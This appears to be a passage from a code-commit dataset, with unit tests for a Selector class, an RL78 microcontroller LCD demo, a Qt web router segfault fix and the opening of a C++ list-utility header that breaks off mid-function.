EXPECT_EQ(s1.nvars_possible(), 9);\n EXPECT_EQ(s1.nvars_excluded(), 4);\n\n EXPECT_EQ(0, s1.indx(0));\n EXPECT_EQ(2, s1.indx(1));\n EXPECT_EQ(5, s1.indx(2));\n EXPECT_EQ(6, s1.indx(3));\n EXPECT_EQ(8, s1.indx(4));\n\n EXPECT_EQ(0, s1.INDX(0));\n EXPECT_EQ(1, s1.INDX(2));\n EXPECT_EQ(2, s1.INDX(5));\n EXPECT_EQ(3, s1.INDX(6));\n EXPECT_EQ(4, s1.INDX(8)); \n }\n \n TEST_F(SelectorTest, Append) {\n Selector s1(\"010\");\n EXPECT_EQ(s1.nvars(), 1);\n EXPECT_EQ(s1.nvars_possible(), 3);\n\n s1.push_back(true);\n EXPECT_EQ(s1.nvars(), 2);\n EXPECT_EQ(s1.nvars_possible(), 4);\n\n s1.push_back(false);\n EXPECT_EQ(s1.nvars(), 2);\n EXPECT_EQ(s1.nvars_possible(), 5);\n\n \/\/ Current state is \"01010\".\n \/\/ Set it to \"0100\"\n s1.erase(3);\n EXPECT_EQ(s1.nvars(), 1);\n EXPECT_EQ(s1.nvars_possible(), 4);\n EXPECT_TRUE(s1[1]);\n }\n\n TEST_F(SelectorTest, ToVectorTest) {\n Selector s(\"00010\");\n Vector v = s.to_Vector();\n EXPECT_EQ(v.size(), 5);\n EXPECT_DOUBLE_EQ(v[0], 0);\n EXPECT_DOUBLE_EQ(v[1], 0);\n EXPECT_DOUBLE_EQ(v[2], 0);\n EXPECT_DOUBLE_EQ(v[3], 1);\n EXPECT_DOUBLE_EQ(v[4], 0);\n }\n \n TEST_F(SelectorTest, SelectRowsTest) {\n Matrix big(10, 4);\n big.randomize();\n\n Selector inc(10, false);\n inc.add(2);\n inc.add(7);\n\n Matrix small = inc.select_rows(big);\n EXPECT_EQ(2, small.nrow());\n EXPECT_EQ(4, small.ncol());\n EXPECT_TRUE(VectorEquals(small.row(0), big.row(2)));\n\n big.randomize();\n ConstSubMatrix big_view(big);\n small = inc.select_rows(big_view);\n EXPECT_EQ(2, small.nrow());\n EXPECT_EQ(4, small.ncol());\n EXPECT_TRUE(VectorEquals(small.row(0), big.row(2)));\n\n big.randomize();\n SubMatrix mutable_big_view(big);\n small = inc.select_rows(big_view);\n EXPECT_EQ(2, small.nrow());\n EXPECT_EQ(4, small.ncol());\n EXPECT_TRUE(VectorEquals(small.row(0), big.row(2)));\n }\n \n TEST_F(SelectorTest, SparseSum) {\n Vector v(100);\n v.randomize();\n\n Selector inc(100);\n inc.drop_all();\n EXPECT_DOUBLE_EQ(0.0, inc.sparse_sum(v));\n \n inc.add(3);\n inc.add(17);\n inc.add(12);\n EXPECT_DOUBLE_EQ(\n inc.sparse_sum(v),\n v[3] + v[12] + v[17]);\n }\n\n \/\/ This test checks the Selector's ability to select from std::vector.\n TEST_F(SelectorTest, VectorInt) {\n std::vector<int> big = {1, 2, 3, 4, 5};\n Selector inc(\"10010\");\n std::vector<int> small = inc.select(big);\n EXPECT_EQ(2, small.size());\n EXPECT_EQ(1, small[0]);\n EXPECT_EQ(4, small[1]);\n }\n\n TEST_F(SelectorTest, SelectorMatrixTest) {\n Selector inc_vec(\"111101\");\n SelectorMatrix inc(3, 2, inc_vec);\n EXPECT_EQ(3, inc.nrow());\n EXPECT_EQ(2, inc.ncol());\n\n \/\/ Check that the input vector fills column-by-column.\n EXPECT_TRUE(inc(0, 0));\n EXPECT_TRUE(inc(1, 0));\n EXPECT_TRUE(inc(2, 0));\n EXPECT_TRUE(inc(0, 1));\n EXPECT_FALSE(inc(1, 1));\n EXPECT_TRUE(inc(2, 1));\n\n EXPECT_EQ(inc_vec, inc.vectorize());\n \n inc.drop(0, 1);\n EXPECT_FALSE(inc(0, 1));\n inc.add(0, 1);\n EXPECT_TRUE(inc(0, 1));\n inc.flip(0, 1);\n EXPECT_FALSE(inc(0, 1));\n inc.flip(0, 1);\n EXPECT_TRUE(inc(0, 1));\n\n EXPECT_FALSE(inc.all_in());\n EXPECT_FALSE(inc.all_out());\n inc.drop_all();\n for (int i = 0; i < inc.nrow(); ++i) {\n for (int j = 0; j < inc.ncol(); ++j) {\n EXPECT_FALSE(inc(i, j));\n }\n }\n EXPECT_TRUE(inc.all_out());\n\n inc.add_all();\n for (int i = 0; i < inc.nrow(); ++i) {\n for (int j = 0; j < inc.ncol(); ++j) {\n EXPECT_TRUE(inc(i, j));\n }\n }\n EXPECT_TRUE(inc.all_in());\n\n SelectorMatrix wide(4, 3, Selector(\"100000010010\"));\n \/\/ 1 0 0\n \/\/ 0 0 0\n \/\/ 0 0 1\n \/\/ 0 1 0\n Selector any(wide.row_any());\n EXPECT_TRUE(any[0]);\n EXPECT_FALSE(any[1]);\n EXPECT_TRUE(any[2]);\n EXPECT_TRUE(any[3]);\n\n Selector all(wide.row_all());\n EXPECT_FALSE(all[0]);\n EXPECT_FALSE(all[0]);\n EXPECT_FALSE(all[0]);\n EXPECT_FALSE(all[3]);\n\n Selector row2 = wide.row(2);\n EXPECT_EQ(3, row2.nvars_possible());\n EXPECT_FALSE(row2[0]);\n EXPECT_FALSE(row2[1]);\n EXPECT_TRUE(row2[2]);\n \n Matrix selectable(4, 3);\n selectable.randomize();\n Vector selected = wide.vector_select(selectable);\n EXPECT_EQ(3, selected.size());\n EXPECT_DOUBLE_EQ(selected[0], selectable(0, 0));\n EXPECT_DOUBLE_EQ(selected[1], selectable(3, 1));\n EXPECT_DOUBLE_EQ(selected[2], selectable(2, 2));\n\n Matrix expanded(4, 3, 0.0);\n expanded(0, 0) = selectable(0, 0);\n expanded(3, 1) = selectable(3, 1);\n expanded(2, 2) = selectable(2, 2);\n\n wide.add(3, 0);\n wide.add(3, 2);\n all = wide.row_all();\n EXPECT_FALSE(all[0]);\n EXPECT_FALSE(all[0]);\n EXPECT_FALSE(all[0]);\n EXPECT_TRUE(all[3]);\n }\n\n TEST_F(SelectorTest, DiagonalMatrixTest) {\n Selector empty(4, false);\n Selector full(4, true);\n Selector one(4, false);\n one.add(2);\n Selector three(4, true);\n three.drop(2);\n\n Vector v(4);\n v.randomize();\n DiagonalMatrix dmat(v);\n\n EXPECT_EQ(empty.select_square(dmat).nrow(), 0);\n EXPECT_EQ(empty.select_square(dmat).ncol(), 0);\n EXPECT_EQ(full.select_square(dmat).nrow(), 4);\n EXPECT_EQ(full.select_square(dmat).ncol(), 4);\n EXPECT_TRUE(VectorEquals(full.select_square(dmat).diag(), v));\n\n EXPECT_EQ(one.select_square(dmat).nrow(), 1);\n EXPECT_EQ(one.select_square(dmat).ncol(), 1);\n EXPECT_TRUE(VectorEquals( one.select_square(dmat).diag(), one.select(v)));\n\n EXPECT_EQ(three.select_square(dmat).nrow(), 3);\n EXPECT_EQ(three.select_square(dmat).ncol(), 3);\n EXPECT_TRUE(VectorEquals(three.select_square(dmat).diag(),\n three.select(v)));\n }\n\n TEST_F(SelectorTest, FillMissingValues) {\n Vector x(5);\n x.randomize();\n\n Selector all(5, true);\n Selector none(5, false);\n\n EXPECT_TRUE(VectorEquals(x, all.fill_missing_elements(x, 3.0)));\n EXPECT_TRUE(VectorEquals(Vector(5, 3.0),\n none.fill_missing_elements(x, 3.0)));\n\n x.randomize();\n Selector three(\"11010\");\n Vector y = x;\n three.fill_missing_elements(x, 3.0);\n y[2] = 3.0;\n y[4] = 3.0;\n EXPECT_TRUE(VectorEquals(x, y));\n\n Vector values = {1.2, 2.4};\n three.fill_missing_elements(x, values);\n y[2] = 1.2;\n y[4] = 2.4;\n EXPECT_TRUE(VectorEquals(x, y));\n }\n \n} \/\/ namespace\n<|endoftext|>"} {"text":"<commit_before>\/\/=====================================================================\/\/\n\/*!\t@file\n\t@brief\tLCD ドットマトリックスの簡単なサンプル @n\n\t\t\tST7565(R)、128 x 64 ピクセルの液晶を接続 @n\n\t\t\t\/CS ---> P53 (36) @n\n\t\t\tA0 ---> P50 (33) @n\n\t\t\tSD ---> P13\/SO20 (43) @n\n\t\t\tSCL ---> P15\/SCK20 (41) @n \n\t\t\t\/RES ---> \/RESET ( 6)\n\t@author\t平松邦仁 (hira@rvf-rc45.net)\n*\/\n\/\/=====================================================================\/\/\n#include <cstdint>\n#include \"G13\/system.hpp\"\n#include \"common\/port_utils.hpp\"\n#include \"common\/fifo.hpp\"\n#include \"common\/uart_io.hpp\"\n#include \"common\/itimer.hpp\"\n#include \"common\/format.hpp\"\n#include \"common\/delay.hpp\"\n#include \"common\/monograph.hpp\"\n\n\/\/ ターゲットLCDのタイプを選択\n\/\/ #define LCD_ST7565\n#define LCD_SSD1306\n#ifdef LCD_ST7565\n#include \"chip\/ST7565.hpp\"\n#endif\n#ifdef LCD_SSD1306\n#include \"chip\/SSD1306.hpp\"\n#endif\n\nnamespace {\n\t\/\/ 送信、受信バッファの定義\n\ttypedef utils::fifo<uint8_t, 32> buffer;\n\t\/\/ UART の定義(SAU02、SAU03)\n\tdevice::uart_io<device::SAU02, device::SAU03, buffer, buffer> uart_;\n\n\tdevice::itimer<uint8_t> itm_;\n\n\t\/\/ CSI(SPI) の定義、CSI20 の通信では、「SAU10」を利用、1ユニット、チャネル0\n\ttypedef device::csi_io<device::SAU10> csi;\n\tcsi csi_;\n\n\t\/\/ LCD インターフェースの定義\n\ttypedef device::PORT<device::port_no::P5, device::bitpos::B5> lcd_sel;\t\/\/\/< LCD 選択信号\n\ttypedef device::PORT<device::port_no::P5, device::bitpos::B0> lcd_reg;\t\/\/\/< LCD レジスタ選択\n\n#ifdef LCD_ST7565\n\tchip::ST7565<csi, lcd_sel, lcd_reg> lcd_(csi_);\n#endif\n#ifdef LCD_SSD1306\n\tchip::SSD1306<csi, lcd_sel, lcd_reg> lcd_(csi_);\n#endif\n\n\tgraphics::monograph bitmap_;\n\n\tuint8_t v_ = 91;\n\tuint8_t m_ = 123;\n\tuint8_t rand_()\n\t{\n\t\tv_ += v_ << 2;\n\t\t++v_;\n\t\tuint8_t n = 0;\n\t\tif(m_ & 0x02) n = 1;\n\t\tif(m_ & 0x40) n ^= 1;\n\t\tm_ += m_;\n\t\tif(n == 0) ++m_;\n\t\treturn v_ ^ m_;\n\t}\n}\n\nconst void* ivec_[] __attribute__ ((section (\".ivec\"))) = {\n\t\/* 0 *\/ nullptr,\n\t\/* 1 *\/ nullptr,\n\t\/* 2 *\/ nullptr,\n\t\/* 3 *\/ nullptr,\n\t\/* 4 *\/ nullptr,\n\t\/* 5 *\/ nullptr,\n\t\/* 6 *\/ nullptr,\n\t\/* 7 *\/ nullptr,\n\t\/* 8 *\/ nullptr,\n\t\/* 9 *\/ nullptr,\n\t\/* 10 *\/ nullptr,\n\t\/* 11 *\/ nullptr,\n\t\/* 12 *\/ nullptr,\n\t\/* 13 *\/ nullptr,\n\t\/* 14 *\/ nullptr,\n\t\/* 15 *\/ nullptr,\n\t\/* 16 *\/ reinterpret_cast<void*>(uart_.send_task),\n\t\/* 17 *\/ reinterpret_cast<void*>(uart_.recv_task),\n\t\/* 18 *\/ reinterpret_cast<void*>(uart_.error_task),\n\t\/* 19 *\/ nullptr,\n\t\/* 20 *\/ nullptr,\n\t\/* 21 *\/ nullptr,\n\t\/* 22 *\/ nullptr,\n\t\/* 23 *\/ nullptr,\n\t\/* 24 *\/ nullptr,\n\t\/* 25 *\/ nullptr,\n\t\/* 26 *\/ reinterpret_cast<void*>(itm_.task),\n};\n\n\nextern \"C\" {\n\tvoid sci_putch(char ch)\n\t{\n\t\tuart_.putch(ch);\n\t}\n\n\tvoid sci_puts(const char* str)\n\t{\n\t\tuart_.puts(str);\n\t}\n};\n\n\n\nint main(int argc, char* argv[])\n{\n\tusing namespace device;\n\n\tutils::port::pullup_all(); \/\/\/< 安全の為、全ての入力をプルアップ\n\n\t\/\/ インターバル・タイマー開始\n\t{\n\t\tuint8_t intr_level = 1;\n\t\titm_.start(60, intr_level);\n\t}\n\n\t\/\/ UART 開始\n\t{\n\t\tuint8_t intr_level = 1;\n\t\tuart_.start(115200, intr_level);\n\t}\n\n\t\/\/ CSI 開始\n\t{\n\t\tuint8_t intr_level = 0;\n\t\tif(!csi_.start(8000000, csi::PHASE::TYPE4, intr_level)) {\n\t\t\tuart_.puts(\"CSI Start fail...\\n\");\n\t\t}\n\t}\n\n\tuart_.puts(\"Start RL78\/G13 ST7565(R) sample\\n\");\n\n\tPM4.B3 = 0; \/\/ output\n\n\t{\n\t\tlcd_.start(0x04);\n\t\tbitmap_.start();\n\t\tbitmap_.clear(0);\n\t}\n\n\tuint16_t x = rand_() & 127;\n\tuint16_t y = rand_() & 63;\n\tuint16_t xx;\n\tuint16_t yy;\n\tuint8_t loop = 0;\n\tuint8_t\tnn = 0;\n\n\tuint8_t n = 0;\n\twhile(1) {\n\t\titm_.sync();\n\n\t\tif(nn >= 4) {\n\t\t\tlcd_.copy(bitmap_.fb());\n\t\t\tnn = 0;\n\t\t}\n\t\t++nn;\n\n\t\tif(loop >= 20) {\n\t\t\tloop = 0;\n\t\t\tbitmap_.clear(0);\n\t\t\tbitmap_.frame(0, 0, 128, 64, 1);\n\t\t}\n\t\txx = rand_() & 127;\n\t\tyy = rand_() & 63;\n\t\tbitmap_.line(x, y, xx, yy, 1);\n\t\tx = xx;\n\t\ty = yy;\n\t\t++loop;\n\n\t\t++n;\n\t\tif(n >= 30) n = 0;\n\t\tP4.B3 = n < 10 ? false : true; \t\n\t}\n}\n<commit_msg>update LCD define<commit_after>\/\/=====================================================================\/\/\n\/*!\t@file\n\t@brief\tLCD ドットマトリックスの簡単なサンプル @n\n\t\t\tST7565(R)、128 x 64 ピクセルの液晶を接続 @n\n\t\t\t\/CS ---> P53 (36) @n\n\t\t\tA0 ---> P50 (33) @n\n\t\t\tSD ---> P13\/SO20 (43) @n\n\t\t\tSCL ---> P15\/SCK20 (41) @n \n\t\t\t\/RES ---> \/RESET ( 6)\n\t@author\t平松邦仁 (hira@rvf-rc45.net)\n*\/\n\/\/=====================================================================\/\/\n#include <cstdint>\n#include \"G13\/system.hpp\"\n#include \"common\/port_utils.hpp\"\n#include \"common\/fifo.hpp\"\n#include \"common\/uart_io.hpp\"\n#include \"common\/itimer.hpp\"\n#include \"common\/format.hpp\"\n#include \"common\/delay.hpp\"\n#include \"common\/monograph.hpp\"\n\n\/\/ ターゲットLCDのタイプを選択\n#define LCD_ST7565\n\/\/ #define LCD_SSD1306\n#ifdef LCD_ST7565\n#include \"chip\/ST7565.hpp\"\n#endif\n#ifdef LCD_SSD1306\n#include \"chip\/SSD1306.hpp\"\n#endif\n\nnamespace {\n\t\/\/ 送信、受信バッファの定義\n\ttypedef utils::fifo<uint8_t, 32> buffer;\n\t\/\/ UART の定義(SAU02、SAU03)\n\tdevice::uart_io<device::SAU02, device::SAU03, buffer, buffer> uart_;\n\n\tdevice::itimer<uint8_t> itm_;\n\n\t\/\/ CSI(SPI) の定義、CSI20 の通信では、「SAU10」を利用、1ユニット、チャネル0\n\ttypedef device::csi_io<device::SAU10> csi;\n\tcsi csi_;\n\n\t\/\/ LCD インターフェースの定義\n\ttypedef device::PORT<device::port_no::P5, device::bitpos::B5> lcd_sel;\t\/\/\/< LCD 選択信号\n\ttypedef device::PORT<device::port_no::P5, device::bitpos::B0> lcd_reg;\t\/\/\/< LCD レジスタ選択\n\n#ifdef LCD_ST7565\n\tchip::ST7565<csi, lcd_sel, lcd_reg> lcd_(csi_);\n#endif\n#ifdef LCD_SSD1306\n\tchip::SSD1306<csi, lcd_sel, lcd_reg> lcd_(csi_);\n#endif\n\n\tgraphics::monograph bitmap_;\n\n\tuint8_t v_ = 91;\n\tuint8_t m_ = 123;\n\tuint8_t rand_()\n\t{\n\t\tv_ += v_ << 2;\n\t\t++v_;\n\t\tuint8_t n = 0;\n\t\tif(m_ & 0x02) n = 1;\n\t\tif(m_ & 0x40) n ^= 1;\n\t\tm_ += m_;\n\t\tif(n == 0) ++m_;\n\t\treturn v_ ^ m_;\n\t}\n}\n\nconst void* ivec_[] __attribute__ ((section (\".ivec\"))) = {\n\t\/* 0 *\/ nullptr,\n\t\/* 1 *\/ nullptr,\n\t\/* 2 *\/ nullptr,\n\t\/* 3 *\/ nullptr,\n\t\/* 4 *\/ nullptr,\n\t\/* 5 *\/ nullptr,\n\t\/* 6 *\/ nullptr,\n\t\/* 7 *\/ nullptr,\n\t\/* 8 *\/ nullptr,\n\t\/* 9 *\/ nullptr,\n\t\/* 10 *\/ nullptr,\n\t\/* 11 *\/ nullptr,\n\t\/* 12 *\/ nullptr,\n\t\/* 13 *\/ nullptr,\n\t\/* 14 *\/ nullptr,\n\t\/* 15 *\/ nullptr,\n\t\/* 16 *\/ reinterpret_cast<void*>(uart_.send_task),\n\t\/* 17 *\/ reinterpret_cast<void*>(uart_.recv_task),\n\t\/* 18 *\/ reinterpret_cast<void*>(uart_.error_task),\n\t\/* 19 *\/ nullptr,\n\t\/* 20 *\/ nullptr,\n\t\/* 21 *\/ nullptr,\n\t\/* 22 *\/ nullptr,\n\t\/* 23 *\/ nullptr,\n\t\/* 24 *\/ nullptr,\n\t\/* 25 *\/ nullptr,\n\t\/* 26 *\/ reinterpret_cast<void*>(itm_.task),\n};\n\n\nextern \"C\" {\n\tvoid sci_putch(char ch)\n\t{\n\t\tuart_.putch(ch);\n\t}\n\n\tvoid sci_puts(const char* str)\n\t{\n\t\tuart_.puts(str);\n\t}\n};\n\n\n\nint main(int argc, char* argv[])\n{\n\tusing namespace device;\n\n\tutils::port::pullup_all(); \/\/\/< 安全の為、全ての入力をプルアップ\n\n\t\/\/ インターバル・タイマー開始\n\t{\n\t\tuint8_t intr_level = 1;\n\t\titm_.start(60, intr_level);\n\t}\n\n\t\/\/ UART 開始\n\t{\n\t\tuint8_t intr_level = 1;\n\t\tuart_.start(115200, intr_level);\n\t}\n\n\t\/\/ CSI 開始\n\t{\n\t\tuint8_t intr_level = 0;\n\t\tif(!csi_.start(8000000, csi::PHASE::TYPE4, intr_level)) {\n\t\t\tuart_.puts(\"CSI Start fail...\\n\");\n\t\t}\n\t}\n\n\tuart_.puts(\"Start RL78\/G13 ST7565(R) sample\\n\");\n\n\tPM4.B3 = 0; \/\/ output\n\n\t{\n\t\tlcd_.start(0x04);\n\t\tbitmap_.start();\n\t\tbitmap_.clear(0);\n\t}\n\n\tuint16_t x = rand_() & 127;\n\tuint16_t y = rand_() & 63;\n\tuint16_t xx;\n\tuint16_t yy;\n\tuint8_t loop = 0;\n\tuint8_t\tnn = 0;\n\n\tuint8_t n = 0;\n\twhile(1) {\n\t\titm_.sync();\n\n\t\tif(nn >= 4) {\n\t\t\tlcd_.copy(bitmap_.fb());\n\t\t\tnn = 0;\n\t\t}\n\t\t++nn;\n\n\t\tif(loop >= 20) {\n\t\t\tloop = 0;\n\t\t\tbitmap_.clear(0);\n\t\t\tbitmap_.frame(0, 0, 128, 64, 1);\n\t\t}\n\t\txx = rand_() & 127;\n\t\tyy = rand_() & 63;\n\t\tbitmap_.line(x, y, xx, yy, 1);\n\t\tx = xx;\n\t\ty = yy;\n\t\t++loop;\n\n\t\t++n;\n\t\tif(n >= 30) n = 0;\n\t\tP4.B3 = n < 10 ? false : true; \t\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2014 Kevin Brightwell <kevin.brightwell2@gmail.com>\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#include \"router\/QWebRouter.h\"\n\n#include \"router\/QWebRoute.h\"\n#include \"router\/QWebRequest.h\"\n#include \"router\/QWebResponse.h\"\n\n#include <QDebug>\n#include <QSharedPointer>\n\n#include <QHttpServer\/qhttpresponse.h>\n#include <QHttpServer\/qhttprequest.h>\n\nconst QString QWebRouter::DEFAULT_404_MSG =\n \"<html> \" \n \"<head>\" \n \" <title>404 Unknown Page<\/title>\" \n \"<\/head>\" \n \"<body>\"\n \" <h1>404 Page Not Found<\/h1>\"\n \" <p><b>Requested:<\/b> <pre>${page}<\/pre><\/p>\"\n \"<\/body>\"\n \"<\/html>\\n\\n\";\n \nconst QRegExp QWebRouter::DEFAULT_404_PATH_REPL(\"\\\\$\\\\{page\\\\}\");\n \nconst QWebRouter::RouteFunction QWebRouter::DEFAULT_404 = [](QSharedPointer<QWebRequest> req,\n QSharedPointer<QWebResponse> resp) {\n QString msg = QWebRouter::DEFAULT_404_MSG;\n resp->setStatusCode(QWebResponse::StatusCode::STATUS_NOT_FOUND);\n resp->writeText(msg.replace(QWebRouter::DEFAULT_404_PATH_REPL,\n req->path()), \"text\/html\");\n };\n\nQWebRouter::QWebRouter(const QHash<QWebService::HttpMethod, RoutePairList> routes,\n const RouteFunction fourohfour,\n QObject* parent)\n : QObject(parent), \n m_routes(routes),\n m_404(fourohfour) {\n \n}\n\nQWebRouter::~QWebRouter()\n{\n\n}\n\ninline\nvoid parsePOSTVars(QString query, QHash<QString, QString> &out) {\n const QStringList pairs = query.split('&', QString::SkipEmptyParts);\n\n for (QString pair : pairs) {\n const QStringList keyVals = pair.split('=', QString::KeepEmptyParts);\n\n out[keyVals[0]] = keyVals[1];\n }\n}\n\nvoid QWebRouter::handleRoute(QHttpRequest* request, QHttpResponse* resp)\n{\n qDebug() << request->methodString() << \":\" << request->url();\n \n const QString route = request->path();\n request->storeBody();\n \n QHash<QString, QString> postParams;\n if (request->url().hasQuery()) {\n parsePOSTVars(request->url().query(), postParams);\n }\n\n if (request->method() == QWebService::HttpMethod::HTTP_POST) {\n QString bodyVals = QString(request->body());\n\n parsePOSTVars(bodyVals, postParams);\n }\n\n \/\/ we recieved a request:\n QWebRoute::ParsedRoute::Ptr routeResponse;\n QWebRouter::RouteFunction func;\n \n QWebService::HttpMethod method = request->method();\n RoutePairList routes = m_routes[method];\n \n \/\/ search for the first matching path\n for (RoutePair pair : routes) {\n QSharedPointer<QWebRoute::ParsedRoute> resp = pair.first->checkPath(route);\n if (resp) {\n func = pair.second;\n routeResponse = resp;\n\n break;\n }\n }\n\n QSharedPointer<QWebRequest> reqPtr;\n\n if (routeResponse) {\n reqPtr = QWebRequest::create(request, postParams,\n routeResponse->urlParams(),\n routeResponse->splat());\n } else {\n reqPtr = QWebRequest::create(request, postParams, QHash<QString, QString>(), QStringList());\n }\n\n QSharedPointer<QWebResponse> webRespPtr = QWebResponse::create();\n\n connect(webRespPtr.data(), &QWebResponse::responseDataPrepared,\n m_service->getMiddleWareRegistrar(), &QWebMiddleWareRegistrar::webResponseDataPrepared);\n\n connect(request, &QHttpRequest::end, [this, func, reqPtr, resp, webRespPtr]() {\n if (func) {\n \/\/ we found a proper route:\n func(reqPtr, webRespPtr);\n } else {\n \/\/ 404:\n m_404(reqPtr, webRespPtr);\n }\n\n webRespPtr->writeToResponse(reqPtr, resp);\n });\n}\n\n<commit_msg>Fixed one segfault (line 108). Test case now triggers the other. See #10.<commit_after>\/*\n * Copyright 2014 Kevin Brightwell <kevin.brightwell2@gmail.com>\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#include \"router\/QWebRouter.h\"\n\n#include \"router\/QWebRoute.h\"\n#include \"router\/QWebRequest.h\"\n#include \"router\/QWebResponse.h\"\n\n#include <QDebug>\n#include <QSharedPointer>\n\n#include <QHttpServer\/qhttpresponse.h>\n#include <QHttpServer\/qhttprequest.h>\n\nconst QString QWebRouter::DEFAULT_404_MSG =\n \"<html> \" \n \"<head>\" \n \" <title>404 Unknown Page<\/title>\" \n \"<\/head>\" \n \"<body>\"\n \" <h1>404 Page Not Found<\/h1>\"\n \" <p><b>Requested:<\/b> <pre>${page}<\/pre><\/p>\"\n \"<\/body>\"\n \"<\/html>\\n\\n\";\n \nconst QRegExp QWebRouter::DEFAULT_404_PATH_REPL(\"\\\\$\\\\{page\\\\}\");\n \nconst QWebRouter::RouteFunction QWebRouter::DEFAULT_404 = [](QSharedPointer<QWebRequest> req,\n QSharedPointer<QWebResponse> resp) {\n QString msg = QWebRouter::DEFAULT_404_MSG;\n resp->setStatusCode(QWebResponse::StatusCode::STATUS_NOT_FOUND);\n resp->writeText(msg.replace(QWebRouter::DEFAULT_404_PATH_REPL,\n req->path()), \"text\/html\");\n };\n\nQWebRouter::QWebRouter(const QHash<QWebService::HttpMethod, RoutePairList> routes,\n const RouteFunction fourohfour,\n QObject* parent)\n : QObject(parent), \n m_routes(routes),\n m_404(fourohfour) {\n \n}\n\nQWebRouter::~QWebRouter()\n{\n\n}\n\ninline\nvoid parsePOSTVars(QString query, QHash<QString, QString> &out) {\n const QStringList pairs = query.split('&', QString::SkipEmptyParts);\n\n for (QString pair : pairs) {\n const QStringList keyVals = pair.split('=', QString::KeepEmptyParts);\n\n out[keyVals[0]] = keyVals[1];\n }\n}\n\nvoid QWebRouter::handleRoute(QHttpRequest* request, QHttpResponse* resp)\n{\n qDebug() << request->methodString() << \":\" << request->url();\n \n const QString route = request->path();\n request->storeBody();\n \n QHash<QString, QString> postParams;\n if (request->url().hasQuery()) {\n parsePOSTVars(request->url().query(), postParams);\n }\n\n if (request->method() == QWebService::HttpMethod::HTTP_POST) {\n QString bodyVals = QString(request->body());\n\n parsePOSTVars(bodyVals, postParams);\n }\n\n \/\/ we recieved a request:\n QWebRoute::ParsedRoute::Ptr routeResponse;\n QWebRouter::RouteFunction func;\n \n QWebService::HttpMethod method = request->method();\n RoutePairList routes = m_routes[method];\n \n \/\/ search for the first matching path\n for (RoutePair pair : routes) {\n if(pair.first) {\n QSharedPointer<QWebRoute::ParsedRoute> resp = pair.first->checkPath(route);\n if (resp) {\n func = pair.second;\n routeResponse = resp;\n\n break;\n }\n }\n }\n\n QSharedPointer<QWebRequest> reqPtr;\n\n if (routeResponse) {\n reqPtr = QWebRequest::create(request, postParams,\n routeResponse->urlParams(),\n routeResponse->splat());\n } else {\n reqPtr = QWebRequest::create(request, postParams, QHash<QString, QString>(), QStringList());\n }\n\n QSharedPointer<QWebResponse> webRespPtr = QWebResponse::create();\n\n connect(webRespPtr.data(), &QWebResponse::responseDataPrepared,\n m_service->getMiddleWareRegistrar(), &QWebMiddleWareRegistrar::webResponseDataPrepared);\n\n connect(request, &QHttpRequest::end, [this, func, reqPtr, resp, webRespPtr]() {\n if (func) {\n \/\/ we found a proper route:\n func(reqPtr, webRespPtr);\n } else {\n \/\/ 404:\n m_404(reqPtr, webRespPtr);\n }\n\n webRespPtr->writeToResponse(reqPtr, resp);\n });\n}\n\n<|endoftext|>"} {"text":"<commit_before>#ifndef LIA_TRANSFORMS_LIST_COMP_HPP\n#define LIA_TRANSFORMS_LIST_COMP_HPP\n\n\/\/ Includes\n#include \"..\/detail\/iterator.hpp\"\n#include \"..\/detail\/type_traits.hpp\"\n#include <algorithm>\n\nnamespace lia {\ntemplate<class Cont, typename Map>\ninline auto map(const Cont& cont, Map&& mapped) -> Rebind<Cont, ResultOf<Unqualified<Map>>> {\n Rebind<Cont, ResultOf<Unqualified<Map>>> result;\n std::transform(std::begin(cont),std::end(cont), std::back_inserter(result),mapped);\n return result;\n}\n\ntemplate<class Cont>\ninline Unqualified<Cont> reverse(Cont&& cont) {\n Unqualified<Cont> result;\n std::reverse_copy(std::begin(cont),std::end(cont),std::back_inserter(result));\n return result;\n}\n\ntemplate<class Cont>\ninline Unqualified<Cont> intersperse(const Cont& cont, ValueType<Unqualified<Cont>> elem) {\n Unqualified<Cont> result;\n auto first = std::begin(cont);\n auto last = std::end(cont);\n if(first != last)\n result.push_back(*first++);\n while(first != last) {\n result.push_back(elem);\n result.push_back(*first++);\n }\n return result;\n}\n\ntemplate<class Cont>\ninline auto subsequences(const Cont& cont) -> Rebind<Cont, Unqualified<Cont>> {\n Rebind<Cont, Unqualified<Cont>> result;\n auto first = std::begin(cont);\n Unqualified<Cont> temp;\n auto max = 1ULL << cont.size();\n for(unsigned i = 0; i < max; ++i) {\n 